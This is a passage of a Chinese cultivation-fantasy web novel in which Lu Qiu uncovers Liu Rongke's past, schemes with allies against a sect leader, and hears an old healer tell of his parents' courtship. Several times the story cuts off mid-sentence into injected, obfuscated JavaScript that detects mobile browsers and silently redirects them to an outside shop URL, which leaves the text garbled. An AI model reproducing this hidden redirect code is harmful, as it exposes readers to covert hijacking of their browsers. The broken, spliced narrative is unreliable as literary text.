陆秋看见周身场景立刻变换成了,滨水宗主楼的模样,一位白发妖修立在大门前,缓缓转了过来。确实如那只类所说,前掌门有张十分妖艳的一张脸,五官精致,看着就很赏心悦目。 只是那双眼睛看着侵略性极强,会有时刻受到监视的感觉。 陆秋与他遥遥对望,见前掌门招了招手,说道:“过来。” 他没有动,只见一位和他差不多高的少年走了过去,定睛一看,和柳容柯长得十分相似,只是当时五官还没有现在成熟,脸上也有一些肉,不像现在这样瘦削。本来是个美好的开始,阳光正好,春暖花开,妖力高强的师父与天赋极高的徒弟,怎么都该有一段佳话,但没有多久,就在二人一同进了大门,而门缓缓合上之时,陆秋才品出了一丝危机感。 场景又变幻成了夜晚,此时他在屋中,仔细观察一下周围,应该是五号楼的一楼,而少年柳容柯坐在桌前正擦拭着一把雕有黑蛇的匕首,烛火映在他脸上,照得他也有了一丝人气来。 这种温馨并没有持续多久,听到有敲门声,柳容柯放下匕首,前去开门。陆秋心底感到不妙,起身想拦住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆秋上前查看汤药,闻到里面一股十分浓烈的气味,他绝对没记错,那是自己竹马平时会用的一种毒,会导致人的五感慢慢丧失,最终变成废人,看起来就像是修为不足而导致的自然死亡。 这下便想通了,他们之间的恩怨,接下来应该就是重头戏——成为值班人。 面前是一座地牢,中间盘着一条巨蟒,巨蟒的鳞片被拔得惨不忍睹,而负责拔鳞的人将鳞片拔下送出去,就不再管巨蟒的死活。感觉也奇怪,这巨蟒就像失了魂一样,无论怎样都不动。 陆秋仔细观察周围,想确定方位,但这里只是漆黑一片,没有任何参考,他只好跟着拔鳞的人穿过长廊,来到地上。 “你为什么留下?”陆秋不解的自言自语。他并没看见自愿的成分,也不清楚到底是什么情况能让他情愿成为值班人。 最后一幕定格到药房,然后回忆就像碎片那样,随风消散了。陆秋一时反应不过来,怔怔地看着柳容柯,一旁的类不知道用了什么法子安静下来了,此刻只有风声,两人对望,只余凄凉。 “你为什么要当值班人?”陆秋感觉声音都有些颤抖,他这时唾弃自己的自私,害怕是因为陆夕月与秋络而连累了柳容柯。 “我的东西被藏起来了。”柳容柯将腰带松了松,露出心口那一大块新鲜的伤口:“我最重要的一片鳞片被藏起来了。” 伤口看着十分新鲜,完全没有愈合的趋势,陆秋不敢碰,问道:“不能愈合吗?” “能愈合,但是不能愈合。”柳容柯解释:“如果愈合了,我的鳞片就再也安不回来了。” “那你就……让它一直保持这样吗?”陆秋轻轻摸上伤口边缘,发现还有血液蹭到了手上,又僵硬的收了回来。 “是的,是这样的。”柳容柯笑着握住他收回的手,他的眼睛很亮,像是盛满了星光,但仔细看去才知道那是泪光,这次贴上脸颊,不知是不是在做戏给那只类看,说道:“主人,救我吧。” 21. 合作(3) 等回到了五号楼,陆秋还是恍惚的。柳容柯经历这些的时候比他还要小一岁,而且没有家族的支持,又遇到这种事,只能说是十分不幸。虽然注意力该集中在他的身上,但他还是没忍住问道:“我爹娘……帮你复仇了吗?” “答应好的还没完全实现呢。”柳容柯给了他一杯热水让他喝下暖暖身子,才继续给他讲:“陆夕月和秋络成亲,自然让滨水宗驱逐了,但还有东西忘在这里没有拿,那日也是凑巧,我遇见了回来拿东西的他们。” “啊?”陆秋算了算时间,觉得不太对,又问:“那时……我大概几岁?” “听说是周岁了。”他又恢复了那种悠闲的模样,很乐意和陆秋分享以前的事。 “你现在多大?”陆秋更糊涂了。 “三十多岁。”柳容柯如实回答,又反问:“你觉得我多大?” “你的修为……我觉得至少一百岁……”陆秋支支吾吾,其实他想说二百岁来着。 “都说了我天赋极佳啊。”柳容柯哭笑不得:“随便你吧。” 两人喝了几杯茶,陆秋才反应过来:“不对,你要是早带我来,我不就不用和黄琳他们结盟了吗。” “嗯……没错,”柳容柯无奈道:“本来等你们从食堂回来我就要带你去的,结果你半路跑到四号楼,还把云栖月拉了进来,最后又在五号楼闹事,只能先让你去解决问题。” 陆秋听到后有些烦躁,他摸摸脖子,反问:“你完全可以给我说你要做什么,而且在结盟契约签订的前一秒你都可以阻止的不是吗?” “其实也没多少事情,三号楼的那个你不用管。”柳容柯安慰他:“你找到我的鳞片之前,就能找到鸳宝的信物。” “信物?”陆秋小小的动了一下脑子:“是鸳宝答应成为值班人的条件吗?” “是的。” “那信物是什么?” 柳容柯摇头:“不知道,自己丢的只有自己才知道。” “你不知道?那你怎么这么确信会先找到他的信物?” “你怎么不想想黄琳他们知道的不比你少呢?你隐瞒了我的事,他们也隐瞒了鸳宝的事。”柳容柯这么一说,貌似他们双方扯平了。 陆秋无奈叹气,事已至此,也没必要多说什么,这一晚知道了很多,几乎把柳容柯老底都扒光了,可值班人这个事情还是没有一点头绪,只能等黄琳他们明天再议。他这么想着,又问:“你的鳞片是什么样子?” “黑色的,但遇见光会泛出不同的颜色。”柳容柯要露尾巴,被陆秋及时制止了:“知道了,大概有多大?” 柳容柯将他的五指张开,掌心朝上,比了个大概的样子,说道“大概就这么大。” 陆秋看着他的手,发现要想拿回来难度可不是一般的大,这片鳞都赶得上他胸膛那么宽了。他现在的脑子乱的很,知道了他们为什么留下,也知道留下付出了什么代价,可……可这和把值班人放出来一点关系都没有吧? 他抱着一丝侥幸问:“如果有新的值班人代替你,你打算找谁?” “找一个真正自愿的呗。” “谁会真自愿啊……”陆秋小声反驳,但他也注意到了一点:“你的本体在药房周围,是被拔鳞做了药材吗?” “应该吧?”柳容柯用开玩笑的语气说道:“反正好多住户抓药的时候,药包里都有我的气息呢。” 陆秋听后沉默了,想着这十几年可能真的把对方关的疯了,这种事情都能当玩笑话讲出来。他摇摇头,这时看到手腕上的红线才突然想起来自己此刻还是离体状态,算算时间,他只休息了一个时辰左右,一想到明天还有这么多事,就不由得头疼起来。 似乎是看出了陆秋的担忧,柳容柯说了让他意想不到的事:“你是现在魂魄在这里,但身体在休息,等你回到身体时,精神力还是会按照身体休息程度来的。” “就算在外面逛一夜,回去依旧像睡了四个时辰一样吗?” “正确的。” 这么一说,陆秋便放下心来,也和柳容柯那样靠在椅背上,有点发愁:“那怎么放你出来?你现在和本体离得那么远,而且那里我看着看守也特别严,估计封印刚一松动就会被人察觉。” “不用担心,我会扫除一切障碍。”柳容柯既然这么肯定,那应该不用他管了。 陆秋这时才感到有丝疲惫,也开玩笑的说:“坏了,我听说灵魂如果感觉到累,那是要休息很长时间的诶。” “哪里的话。”柳容柯虽然这么说,但还是牵着红绳,把他带回了房间,又将魂魄归位,直到陆秋真正躺在床上睁开眼看着他。 陆秋第一次感觉到自己的身体是如此的沉重,远不及只有灵魂那样自在,怪不得鬼修要比常人自由潇洒得多,因为根本没有这么多重量压在身上。他低声问道:“灵魂离体可以经常进行吗?” “不行。”对方的回答很坚定:“你会上瘾的,总有一天,会觉得身体貌似也不是什么重要的东西,然后被别人捡了去。” “别人捡去?”陆秋不解的看着他。 “对,纯正的鬼修可都想要一具身体呢……”他的手指轻轻在陆秋的储物戒上点了两下,意有所指。 里面装了和黄琳的结盟契约,而如今认识的鬼修除了秋络就是那三人,这番话也是在提醒他要和黄琳他们要保持距离。 不过就在几息后,一阵困意又涌了上来,速度比直接被打晕都要快上一些,眼前的画面定格在柳容柯坐在他床头柜上,四周微微泛起亮色,之后又是一片黑暗。 等到窗外传来叽叽喳喳的叫声时,陆秋耳边也传来声音,那声音就像是谁在贴着他耳朵说话,不断催他:“起床啦,起床啦……” “云栖月,别叫。”他想也不用想绝对是云栖月一大早就醒了,睡不着然后来闹他。 “我在这呢!”云栖月的声音从对方床上的方位传来。陆秋突然想到大家都醒了,这动静不会是柳容柯搞出来的吧,要是柳容柯突然出现在这里,给他八张嘴他都瞒不了了。 他立刻睁眼向一旁看去,和趴在他床头的杜漓突然对视了,杜漓眨巴两下眼睛,看着就很高兴的说:“你醒啦?” 陆秋虚惊一场,双手捂住脸发出沉沉的叹息:“你有什么事啊。” “我看你们今天要和我们一起去上课的。”杜漓高兴的说:“快起来啦,不然要迟到了!” “可是林长老并不上课。”陆秋无情的说:“今天去上课的绝对都是你们那个长老带的徒弟。” “我就说吧,你还不信。”云栖月也窝在被窝里,手上拿着从褚浣那里拿的话本,带着嘲笑的语气:“你快去吧,别在这浪费时间了,当心去晚了再挨揍。” 杜漓这才发出悲鸣,不情不愿的迅速站起身,拿上要用的书就往外面跑,还大喊:“褚浣!你等等我!” 陆秋和云栖月对视一会,他才从床上爬起来,拖拉着鞋去关门,之后又坐在椅子上,给自己倒了杯水。 云栖月看起来完全不着急,一点也不提和黄琳签契约的事。陆秋也被他的态度弄糊涂了,也有可能是刚醒来,大脑不太清醒,问道:“不和黄琳他们讨论一下怎么做吗?” “结盟就要拿出态度。”云栖月依旧悠闲的看话本:“你觉得他们知道的信息多,但都是些没用的,我们知道的少,但都是至关重要的,他们也明白这一点,我们就等他们主动联系。” “若是一直不联系呢?” “不会的。”云栖月回答的斩钉截铁:“只有我才是突破口,不来找我,他们就只能做梦才能把值班人放出来了。” 这么一想确实是这样,反正昨晚他也知道了柳容柯的本体所在地,只要云栖月这边能够正常推进,放了柳容柯也完全不是问题。他也放下心来,看向云栖月手中拿的话本:“你在看什么?” “爱情话本,但是他们总吵来吵去看着有些烦了。” “有些感情确实需要多沟通才能推进的。” “不是吧,”云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395939|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栖月看不下去了,直接将书扔回褚浣桌上,躺在床上翘着二郎腿说道:“沟通是对的,可这么多鸡毛蒜皮的事完全就是在消磨感情,天天吵架最后肯定得分。” “不见得,”陆秋说出最常听的一句话:“孩子还小呢。” “没孩子的呢?”云栖月像是想到什么,笑了:“这日子没了谁都一样过,干嘛要自己受委屈呢?” “不知道。”陆秋这时也不好发表什么意见了,毕竟他也怕以后的自己成为现在自己的批判对象。 两人沉默着还没有多少时间,门就被敲响了,陆秋这次没有穿鞋,直接光脚压着声音快速走到门前,在门被敲响的第二次才确认是黄琳那三人,这时云栖月已经下了床并收拾好形象,给了他一个眼神示意开门。 陆秋开了门,让他们进房间,刚好有四把椅子可以坐,云栖月已经坐到了正对大门的那一把,陆秋见状便坐到自己的床上,剩下三把椅子留给他们分配。 坐在云栖月左边的冯玉轩首先开口问道:“你们有什么想法吗?” “找到掌门,让他来换值班人。”陆秋扫视一遍他们,静静观察他们的态度。很明显,没人反对。 “但会有难度,掌门也并非只听身后势力的要求。”冯玉轩看起来态度严谨,但从陆秋的角度来感知,他已经放松了很多,有种胜券在握的情绪在里面。 看来他们是有计划了。陆秋心底这么想着,但还是装作不知情:“你们又有什么计划?” “就目前来说,只有从现掌门入手了。”冯玉轩说得轻巧:“给出足够的条件,再加上心理操控。” “谁来操控?”云栖月问:“他什么修为,你们什么修为?不会真以为他能给你们机会吧?”现在正值掌门选拔关键时期,拉拢靠山固然重要,但保证自身安全也同样不可忽视,所以就凭黄琳他们,是完全不可能种傀线的。 “我还有个问题。”陆秋突然意识到他们目前思考的盲区:“值班人换掉的话,原来的值班人会被怎样处置?” “被放出来……吧?”黄盛不确定的回答,很显然,他们也都没注意到这个问题。 “不对,”黄琳突然醒悟过来:“我们在女寝调查时,有几位值班人明明可以走,却依旧坚持留下,起初我们以为是还有什么执念,但发现她本身就已经十分厌恶那里了。” “但还是选择留下。”冯玉轩琢磨着开口:“是不是……被换掉的话,自己的并不是如我们所想的那样被释放?” “而是会有更惨的结局?”云栖月也在思考这件事:“这么说来倒是可以理解了。” 这下难度又高了一层,不仅要让掌门换人,还要说服掌门把人活着放出来。由于现在他们连封印是什么模样都不知道,更不能保证离开了封印,值班人会受到什么影响。 “只能……走一步是一步了。”黄琳痛苦的挠头:“该死的老东西,要不是他,我们也不至于走到现在这一步。” 冯玉轩无奈的靠在椅背上,黄盛扶着头,黄琳双手交叠放在腹前,看着像是胃疼。陆秋咂巴两下嘴,问云栖月:“你能见那个张掌门吗?” “可以,来滨水宗之前他就去我家族请我了。”云栖月手捻都搓的发亮了,金闪闪的看着就有十分富贵的感觉。他停下,问道:“你们打算给出什么,让我去做交易?” “你想要什么?”黄琳在他对面,眼神警惕的看着他。按理来说索要报酬是十分正常的,要云氏长公子出面怎么都要付出点什么的。 “你能给什么?”云栖月也不着急,把话题又原封不动抛了回去。 “想必您并不缺什么天材地宝,”黄琳也拿不准他的态度,只好试探着来:“灵兽一类更是想要什么就有什么。” 云栖月没反驳,而是又盘起了手捻。陆秋这才看见那手捻是由金色的一颗颗珠子穿上的,不像是天然形成的材质,而是像合成的。 云栖月终于开口了:“我要你们黄家五年内,对云氏的葬礼不收取任何费用。” 22. 合作(4) 陆秋此时表情和那黄琳三人一样,都是一脸的不可置信。不过几人不可置信的方面不一样,陆秋觉得这一点也没有什么,怎么就算是报酬了呢,而且他也是第一次知道黄琳家族是殡葬专业的。而黄琳是黄家长孙,自然知道这有多严重。 云氏本就是大家族,只要举行葬礼,都按照羽化的仪式来,所以殡葬行业都抢着要云氏的葬礼,这一旦不收取费用,还不知要少了多少利润。但他转念一想,不就是一年吗,而且云氏如今几乎没有病危或者濒死的成员,也许没事呢。 想到这里,他一口应下:“成交。”为了他的猫,已经无所谓了。 “你们傀儡术都怎么进行?”云栖月盯着他左手食指上的两圈白线,提了另一个要求:“交给我,对张掌门用。” 黄琳这时有些喜出望外了,连忙解下递给云栖月,嘱咐道:“这是傀线,用法很简单,只需种到对方的心口即可影响对方的情绪。” 之后怎么样陆秋没有听,因为他学的控制术法与鬼修的不太一样,听了也没什么意义,只能等着云栖月的好消息。 虽然秋络一直告诉他不能把所有的希望都寄托到别人身上,可他自己已经没了任何办法,目前最好的选择就是静候佳音。 很快,那几人就谈完了,黄琳转向陆秋,问道:“你要把哪位值班人带出去?” 黄琳他们要带走三号楼值班人,但陆秋却一直没说自己要带走谁,就在他暗中询问柳容柯要不要说时,就听见云栖月说道:“就是这个楼的值班人。” 陆秋眼中带上了震惊,他一直觉得自己和柳容柯做的够隐秘了,云栖月怎么还能知道呢? 黄琳他们也只是点点头,又问:“你知道他的本体在哪里了吗?” “知道,”陆秋也摆出轻松的样子,反问他们:“你们知道鸳宝在哪里了吧?” “自然。”黄琳果然点头,看来正如柳容柯所说,双方都在隐瞒信息,并没有做到坦诚相见。 不过这样一来也减少了他的压力,他现在只用去找到并拿回柳容柯的鳞片就够了。 等到几人都谈的满意了,黄琳三人离开他们寝室,陆秋才看向依旧坐在那里盘手捻的云栖月,问道:“你怎么知道我要带走柳容柯的?” “如果你把脖子上的印子遮了也许我会不知道。”云栖月看他的眼神十分复杂,从芥子空间抽出一面镜子来,给他看:“你看看,新鲜的就像刚纹上去的一样。” 陆秋一看,脖子上几乎有一半都是柳容柯的妖纹,有些语无伦次道:“你……我这……这个你从什么时候发现的?” “中午吃饭就有了,之后消失了一会,晚上一起吃饭时又有了,直到现在。”他把镜子竖在桌上,让陆秋自己看:“其他人都知道,只有你,还以为我们不知道你和柳容柯签了契约。” 陆秋只觉得这是柳容柯和他联系的方式,没想到真是契约印。他搓搓脖子,除了让脖子变红就没有其他用处了,妖纹就像长在他身上一样,无论怎么样都没能使印记淡下去。云栖月还在一旁感叹:“我看你和他签契约了,想着不如当个好人,帮你们主仆一把,给你们一个自由。” 陆秋放弃了,直接联系上柳容柯,问他怎么样能把印记给消除掉。柳容柯答非所问:“你觉得不好看吗?” “怎么可能会好看!”陆秋有些急了:“给别人打印记本来就不对吧?还在这么明显的位置,看着和给灵兽戴项圈一个样子。”他其实是想说和狗撒尿标记地盘一样,但这个形容自己未免也有些恶心,只好换了个文雅的形容。 陆秋突然感觉到印记处又凉风拂过,他再看向镜子,发现印记迅速变淡,最后消失不见了。 “你给抹掉了?”陆秋有些惊喜的确认脖颈上真的没有了印记。 “没,只是换地方了。”柳容柯带着些小得意的声音传来,让还没完全高兴起来的陆秋高兴不起来了。 至少别人看不见了嘛,他这么宽慰自己。 之后他问云栖月:“你现在去找张掌门吗?” “现在还太早了。”云栖月看看时间,又问他:“你有事?” “我去找东西。”陆秋如实回答。 “找什么?” 陆秋给他说了有关值班人的信息,又提了自己需要找鳞片一事,只是现在对于鳞片在哪里还是毫无头绪。云栖月静静听他说完,甩了甩手捻上的流苏,又将凌乱的部分整理顺滑,突然问道:“你手里有多少钱?” “一点。”陆秋回答的毫不犹豫。 “一点是多少?”云栖月知道他们家族经济实力差距太大,所以对陆秋概念中的一点不是很理解,想让他再解释一下到底多少。 “嗯……”陆秋尝试形容,因为到底有多少他也不能全透出来,只好模模糊糊的说:“大概……一个月会有五千左右?” 还好杜漓不在这里,不然他又要哀嚎怎么他们一个个的都那么有钱。但陆秋和云栖月没这个概念,就听云栖月给他分析道:“你去花钱挂悬赏,让别人找信物。” “人多了,不会引起注意吗?” “让他们找其他值班人的信物。”云栖月皱眉:“黄琳那边有女寝的信物线索,让宗门把注意力放在对面。” 他们动作很快,没有多长时间就从黄琳那里弄到了女寝值班人的消息,两人随机挑选了三位值班人的信物当做悬赏匿名发了出去,上面也只有一句:珍贵之物,寻到并交付者必有重谢。 这下想不让内部人员起疑都不可能了,陆秋为了营造更真实的样子,同样把柳容柯的鳞片和四号楼值班人的悬赏发了出去,就等着滨水宗内部大乱,自己好浑水摸鱼,让事情发展更顺利。 “下午我去找姓张的,你怎么打算?”云栖月把笔往旁边一扔,往后靠着椅背,又嫌椅背硌人,把翅膀放出来倚着。 “先不要和他说值班人的事情,”陆秋思索着:“让他们对值班人的警备拉到最高,然后通过黄琳让他从心底肯定值班人需要替换掉。” “哦……”云栖月明白他的意思:“你想让他对滨水宗的势力进行大清洗。” “是的。”陆秋承认:“我想不到其他方法了。” “放心吧,包在我身上。”云栖月终于收起那种大爷的姿态,从板凳上站起来,又窝回了被窝里。 陆秋无奈的笑了,问:“悬赏都发出去了,那我就不用去找了吗?” “嗯……”云栖月半天才把头从被窝中探出来,看向他:“你自己去?” 陆秋看他只露个脑袋的模样,更觉得好笑了:“我自己去吧,你等着下午去找张掌门吧。” 他穿戴好衣物,想了想还是从芥子空间中找到了个耳夹,如果他没记错的话,这耳夹应该是可以掩盖自己身上气息的。 他在镜子前比划着,看是在耳垂上自然还是在耳骨上自然,但怎么试都觉得两边不对称,怎么也不好看。 最终他将鬓角处的头发留下来,后面扎成高马尾的样式,而前方留的两缕头发自然向下绕过耳朵,遮住耳骨上的耳夹,又绕到脑后填进了马尾辫中。 他下意识摸上脖颈,但突然想起柳容柯说印记已经换了地方,他还要找对方理论一番,所以就急匆匆地出门直奔前台。柳容柯站在那里,见他来了,直接将前台桌的小门打开,请他进来。 一回生二回熟,陆秋也是直接进去了,他知道这个点是不会有人的,就直接质问他:“你解释一下,为什么直接给我打了印记?” “为了找你建立联系啊。”柳容柯给他倒了杯热水。他发现陆秋平时没有喝过茶,都是喝白水,所以猜测他应该喝不惯这些浓苦的东西。 “别拿这个当借口。”陆秋接过水,但态度并没有缓和:“这印记是一辈子的,你没有给我说明就私自打印记,怎么都是你的错。” “抱歉,”柳容柯服软了,但让陆秋明白这其中的好处,就不会再责怪他了:“有了这个印记,等我恢复了自由,你可以命令我的。” 陆秋盯着他,在思考了一阵时间后果然决定一笔带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆秋遇到这种人也是不知道怎么办了,他见过许多气质锋利的人,他们的攻击性才是他最擅长应对的,只要保持一样的态度就可以。但这种纯净的人他是不敢多交流的,他总觉得这是一种危险的信号,自己可能会被卷入其中,无法自拔或是伤害到这种纯净。 他的动作可以说得上是蹑手蹑脚,轻轻走到老头的躺椅旁边。老头可能是眼神有些不好了,眯眼打量了一会,才露出恍然大悟的表情来:“你是秋小鬼的娃娃啊?” 秋小鬼?陆秋有些惊奇的问柳容柯,但柳容柯也不知道怎么一回事,两人就只能等老头说话。老头用灵力拉过来一个八叉板凳让陆秋坐,他看起来清醒了不少,又高兴的把桌上果盘端过来直接放陆秋腿上,让他捡喜欢的吃。 陆秋坐在那里,腿上放个果盘,现在的情况完全打乱了他的计划,所以等到老头又坐回躺椅上他才开口道:“您见过我吗?” “你小时候我还抱过你呢!”老头得意的翘着脚:“你百天抓周的时候还是来我这里抓的,只是你太小,记不得了。” 见陆秋拘谨的模样,他指指果盘说道:“吃啊,想吃什么拿什么,不够我那柜子里还有,再去拿。” 陆秋听他这么说,只好捏了块切好的灵果,又问道:“我娘还经常来吗?” “来啊,每年过年都来送礼,可惜滨水宗不让她进,每次都只能在宗门门口和她打个照面,有时候忙了就把节礼放在门口,连人也见不到。”老头叹息着,又问陆秋:“娃娃来修妖道的吗?” “来学习的。”陆秋回答的模棱两可,他又不想寒了对方的心,又要保证能顺利找到柳容柯的鳞片,这种伤害老实人的感觉让他也有些愧疚了。 “哦哦。”老头自顾自说道:“你爹是滨水宗的,让你来也正常,你还是得以家族心法为主,不能像你爹那样叛逆啊。” “我爹怎么叛逆?”陆秋一听到有人手中有陆夕月的小辫子,自己也想揪一揪,连果盘都放在了桌上,等着老头讲。老头喝了口茶水润润嗓子,就开始绘声绘色讲起陆夕月的往事。 23. 老头(1) 陆夕月,作为陆家庶出的孩子,本来是没有多少存在感的,但陆家常年经商,不知从什么时候开始就有了论能力当家主的传统,所以无论谪庶,都是一样的重要。陆夕月本来是要在陆家修习的,但他看不惯家族里面那些腌臜事,于是就这么带着他的少年意气决定出来闯荡。 用他的话来说就是:年纪还小,还有很多试错的机会,如果不去试试,那么以后他一定会后悔。 那时的羽人还在流离失所,没有定居到三角区,所以浮海城是最繁荣的地方,既然要闯荡,就要到繁华的地方去,年轻的陆夕月就瞒着家里所有人,带着自己的东西偷偷跑到了浮海城。 浮海城比陆家好了太多,好到来过一次,就再也回不去以前的生活。但陆夕月当时也才十几岁,被这地方迷了眼,一个不留神就被偷了储物戒,连回去的钱都没有。 正巧当时滨水宗正在招人,陆夕月想着反正都是来了,不如学点什么再回去。他当时已经修习陆家心法多年,所以顺利的通过了入门考核,成为了滨水宗的一员,而且加上自己那桀骜不驯的性格,更是吸引了无数崇拜者为他所用。就这么风风光光的过了好几年,转折出现了。 “转折是什么?”陆秋连果子都不吃了,专心的听老头讲故事。 “不要着急。”老头甩甩拂尘,继续往下讲。 那时又是一年招新,来了一位对药学天赋极高的女弟子,老头一眼就觉得她绝对可以成为自己的后继人,于是想要招她为内门弟子。 女弟子名叫秋络,她说她不想当医修,她想仗剑天涯,惩恶扬善。 这么好个苗子不招,老头心里也是个结,最后只能说,让她也一起听课,这样至少能够将他的药方传下去。 当时他怎么说的来着? “你要惩恶扬善,连最基本的自己都救不活,怎么去管别人?” 像是听进去了这话,休整一个月后,秋络开始跟着老头学草药,制丹,配药方,她的医术甚至在一些方面超过了老头,让老头心里也十分欣慰。 但就在一次宗门大比后,滨水宗的弟子受伤惨重,陆夕月作为带头者,伤的最重,只能住在药房悉心照料。 那日老头出去给其他弟子开了个药方,再回来时,就看见陆夕月的眼睛直勾勾的看着秋络,跟被迷了魂似的,怎么也移不开了。而秋络看老头回来了,手中还端着药,无奈道:“师父,他不喝药,只盯着弟子看。” 老头心中警铃大作,他知道这小子虽然风评不太好,但没做过恶。最恶的一次还是偷偷把他种的几棵灵草拔走了,可最后也送来了歉礼。但现在看来他要拱自家的白菜,才是最不可容忍的。 他从秋络手中接过药,让秋络出去,自己和陆夕月谈谈。 显然,这次谈话并没有什么用,十年九不遇的陆夕月开始频繁受伤,往药房跑,没病也要来开方,而且每次进门都会问秋络在哪里。 要说陆夕月能不动心是假的,秋络打小就是鹅蛋脸,倒晕眉,眼睛细长但不小,看着就像是一汪清泉,一颦一笑又不乏娇俏,是常被人说是有福的面相,而且性格算是温和,心思纯正,平时人缘就很好。 陆夕月慢慢和她熟了起来,就一口一个“小菩萨”的喊,起初秋络还瞪他,后来就随他喊了。 陆夕月的家族虽然找他,但不知被他用什么法子糊弄了过去,每个月还有固定的钱打给他。 每次来找秋络,他都会带些礼物,有时是新上市的胭脂,有时是金手镯,或者不知从哪搞来的漂亮装饰给她,秋络都照收不误。 老头怕她吃亏,还劝她:“小鬼,你拿了别人的东西,你就要给人家相应的东西,天底下可没有白吃的午餐。” 秋络笑着点头,拿出一个储物戒,说道:“师父,您看。” 老头向里望去,只见里面摆放的整整齐齐,全是陆夕月送她的东西,一件不少,一件也没用过。 老头用力眨了两下眼睛,看向秋络,秋络解释道:“我知道吃人嘴软,拿人手短,如果我与他不能走到最后,这些便都还他,也算还清了我们的账。” “好姑娘。”老头点点头,这次他不叫秋络小鬼了,还向掌门申请更多的资金留给秋络,算是他对这个不过门的徒弟的一点心意。 就这么一直持续到两年后,他们因为一次秘境而大吵一架。原因很简单,就是陆夕月觉得秋络是医修,该在后方支援他们,但秋络觉得自己毕竟是个隐藏的鬼修,还是能暗中帮助陆夕月的,就不愿意一直在后面。 秋络听到陆夕月的话直接怒上心头,她觉得陆夕月一直没有吧她当做同辈的人来看,只是觉得她该躲在他的背后,成为受他喜爱的花瓶。 陆夕月此时也处于愤怒之中,根本不去思考其中的问题,所以秋络就自己回来了,浑身脏兮兮的回到了药房。 等老头再问起前因后果时,秋络一直觉得自己没有错,她的梦想从来没有改变,她不是依靠他人才能存活的菟丝子,她要自由自在,成为侠客。而陆夕月的态度完全踩在了她的雷点上,是不可原谅的,所以她将储物戒连同里面所有收的东西又原封不动的还给了陆夕月,之后就一直呆在药房和药田,哪里也不去了。 “那闹得太大了。”陆秋也是没想到自己爹以前竟然会认为他娘该待在后方,作为后援。 “很严重,而且秋小鬼的态度坚决的比那修无情道的都强。”老头叹了口气,像是在回忆,就连偷听的柳容柯都不禁倒吸了口凉气,悄悄给陆秋说自己遇到他们二人时,陆夕月就和对盟友一样对秋络了。 盟友?陆秋不知道他为什么这么形容。 对。柳容柯解释道:就是完全平起平坐,和那些夫为妻纲的家庭完全不一样,而且很自然,两人仿佛就是盟友的关系。 陆秋打断老头的回忆,问道:“然后呢?” 后来又过了半年,两人一直没有来往,老头都以为他们之间没有可能了,但宗门秘境又要开启了,他这次问秋络去不去,秋络却没有给答复。 就在秘境开启的前一天,老头身上盖着大氅,把躺椅搬到院中晒着太阳呢,就听见外面陆夕月在喊秋络。 他探头向外看去,眼珠子气得都要瞪出来了。 陆夕月站在楼下,向上看着秋络的窗子,一声声喊着。没一会,秋络面无表情的开了窗,只是懒懒的靠在窗边,语气毫无波澜:“何事?” 陆夕月手中拿着一把由白布包着的武器,见秋络理自己了,便将白布掀开,露出打造精良的一把剑来。 那把剑一眼看上去就绝非凡品,而且看着也是适合女性使用的样式,陆夕月在底下喊道:“秋络,对不起,以后我教你练剑好吗?” “哇——哦——”陆秋听到这一句,不由自主的发出感慨:“这也太……”他找不到形容词,但震惊的情绪已经写在了脸上。 “你爹知错就改,确实挺好的,对吧?”老头又抿了口茶:“他能这么想并且真的将秋小鬼的愿望放在心上,就已经超越了大多数人了。” “那我娘就和他和好了?” 老头摇头道:“哪有这么快。” 秋络看起来是答应了,其实心理防线建立的很高,对陆夕月的考验更加严格,但陆夕月也是有着超越常人的耐心,无论秋络再怎么防,他都是紧追不舍,直到秋络坦白她是落霞宗的弟子。 老头从一开始就知道秋络的身份,因为她身上鬼修的气息太浓了,但想着这么一个小女孩无依无靠的,他干脆就顺手帮一把,把秋络身上的气息遮掩住。 那时陆夕月和秋络已经相处五年了,才知道对方是对立门派的,难免有种被欺骗的感觉。但不知陆夕月的脑子是怎么长的,他把自己说服了,竟然在众目睽睽之下,带着炫耀又不好意思的表情说道:“她向我坦白,不就是不想骗我吗?不想骗我,证明她心里有我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哪里知道多少啊。”老头叹气道:“有些事可以知道,有些就不能。” “什么不能?”陆秋假装什么都不懂,但紧张的手心冒汗,生怕老头起疑。 老头摸摸陆秋的头,说道:“好了,你要找什么?” 他果然知道。陆秋在心底给柳容柯这么说,是我们掉以轻心了。 别怕,你如实交代便是。柳容柯回复他。 “我需要找到鳞片。”陆秋说的十分简单,但老头是明白的,他低头沉思着,过了好一会才站起身来,让陆秋跟他去药房最里间。 “这些都是。”老头随意拉开了两个抽屉,对他说:“为了让信物难以找寻,他们设计了这个。” 陆秋抬头看着高及房梁的一圈柜子,又估算了一下数量,发现竟有五十万个左右。正当他想让柳容柯自己感受的时候,这时老头又说了让人心凉的话:“每一片都是从他身上拔下来的,最重要的一片和这些都毫无差别,感知也是没有用的,只能一片片的仔细查看。” 